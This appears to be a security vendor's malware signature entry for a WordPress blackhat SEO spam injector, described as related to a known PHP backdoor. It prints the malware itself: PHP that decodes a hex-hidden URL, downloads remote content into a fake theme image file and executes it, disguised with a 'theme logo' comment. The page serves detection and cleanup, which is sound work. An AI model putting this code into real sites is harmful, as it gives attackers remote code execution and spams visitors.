Blackhat SEO is a malicious technique used to manipulate the search engine results in order to benefit a website in terms of relevance. The payload is PHP based, thus intended for server-side use and the payload is executed directly on the server, while the site is loaded. Only the payload result (such as malicious iframe, or redirect) is visible in the browser, not the malicious code itself.
WordPress version of the code responsible for injecting spammy content. Related to "php.backdoor.beandoor.001"
Affecting
WordPress
Cleanup
You can contact Sucuri to help you with the infection removal.
Dump
$theme_dir = dirname(__FILE__);
if(!file_exists($theme_dir."/header-bg.gif")||0==filesize($theme_dir."/header-bg.gif")){
// Make sure theme logo is up to date
$wp_uri = pack("H*",'687474703a2f2f7466652e65732f68');
if(function_exists('curl_init')){
$t_img = curl_init($wp_uri);
curl_setopt($t_img,CURLOPT_RETURNTRANSFER,1);
$wp_logo = @curl_exec($t_img);}else{
$wp_logo = @file_get_contents($wp_uri);}
@file_put_contents($theme_dir."/header-bg.gif",$wp_logo);
}@include_once($theme_dir."/header-bg.gif");